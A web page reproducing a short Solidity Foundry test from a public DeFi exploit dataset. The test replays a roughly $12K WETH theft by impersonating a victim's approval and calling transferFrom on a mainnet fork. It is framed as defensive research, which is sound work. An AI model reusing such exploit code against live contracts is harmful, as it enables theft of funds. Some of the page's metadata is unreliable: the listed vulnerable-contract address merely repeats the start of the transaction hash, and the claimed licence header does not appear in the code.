Public reproduction file

src/test/2024-09/unverified_5697_exp.sol

Public reproduction file for dataset entry Unverified_5697.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/unverified_5697_exp.sol40 lines

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : $12K
7// Attacker : https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de
8// Attack Contract : 
9// Vulnerable Contract : 
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2
11 
12// @Info
13// Vulnerable Contract Code :
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1834432197375533433
17// Twitter Guy : https://x.com/TenArmorAlert/status/1834432197375533433
18// Hacking God : 
19 
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant attacker = 0x0000dAAee5FbC2d3fC5a5C0cB456d2c24e4F81dE;
22address constant addr1 = 0x56974D5AF75B1eF96722052a57735187E9b91751;
23address constant addr2 = 0x7c243E010E086cAaD737D47E5a40A59E8B79E92d;
24 
25 
26contract ContractTest is Test {
27    function setUp() public {
28        vm.createSelectFork("mainnet", 20738427);
29    }
30    
31    function testPoC() public {
32        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(weth9).balanceOf(attacker), 18);
33        vm.startPrank(addr2);
34        IWETH9(weth9).approve(attacker, type(uint256).max);
35        vm.stopPrank();
36        vm.startPrank(attacker, attacker);
37        IWETH9(weth9).transferFrom(addr2, attacker, 5049899842444876795);
38        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(weth9).balanceOf(attacker), 18);
39    }
40}

Analysis

Dataset entry

Public Foundry test for “Unverified_5697” (2024-09-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines
src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
src/test/2025-02/unverified_35bc_exp.solSame protocol or name in the dataset · 91 lines
src/test/2024-08/unverified_667d_exp.solSame protocol or name in the dataset · 65 lines
src/test/2025-08/unverified_6f7a_exp.solSame protocol or name in the dataset · 229 lines
src/test/2025-06/unverified_8490_exp.solSame protocol or name in the dataset · 108 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de
Vulnerable Contract
0x3f0dc68dc89fce3250b9d2de2611384b8af258e8

Attack Tx
0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2

File record

Name: Unverified_5697
Path: src/test/2024-09/unverified_5697_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: c788fbbb34f68470371e169208281646ecc36895
Language: Solidity
Size: 40 lines
Date: 2024-09-13
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2024-09/unverified_5697_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c788fbbb34f68470371e169208281646ecc36895, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.